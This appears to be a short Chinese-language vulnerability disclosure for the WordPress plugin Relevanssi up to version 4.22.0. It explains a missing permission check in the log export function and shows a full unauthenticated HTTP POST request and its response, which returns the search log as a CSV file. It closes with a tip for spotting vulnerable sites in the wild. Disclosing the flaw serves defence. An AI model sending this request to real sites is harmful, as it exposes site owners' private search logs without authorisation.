Relevanssi – A Better Search <= 4.22.0 - 缺少授权校验导致未授权查询日志导出
WordPress 的 Relevanssi – A Better Search 插件在所有版本(包括 4.22.0)中,由于 relevanssi_export_log_check() 函数缺少权限检查,存在数据未授权访问的风险。这使得未认证的攻击者能够导出查询日志数据。供应商表示他们可能会考虑添加权限检查以实现适当的授权控制,但理论上该漏洞已通过现有方式修复。
请求
POST /wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://kubernetes.docker.internal
Connection: keep-alive
tab=logging&relevanssi_omit_from_logs=&relevanssi_trim_logs=&relevanssi_export=Export+the+log+as+a+CSV+file
响应
HTTP/1.1 200 OK
Date: Wed, 25 Sep 2024 14:46:13 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
Last-Modified: Wed, 25 Sep 2024 14:46:14 GMT
Content-Disposition: attachment;filename=relevanssi_log.csv
Content-Transfer-Encoding: binary
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/download
"No search keywords logged."
如果你正在野外寻找此漏洞,我会建议匹配 filename=relevanssi_log.csv,因为我尚未对该插件进行任何操作。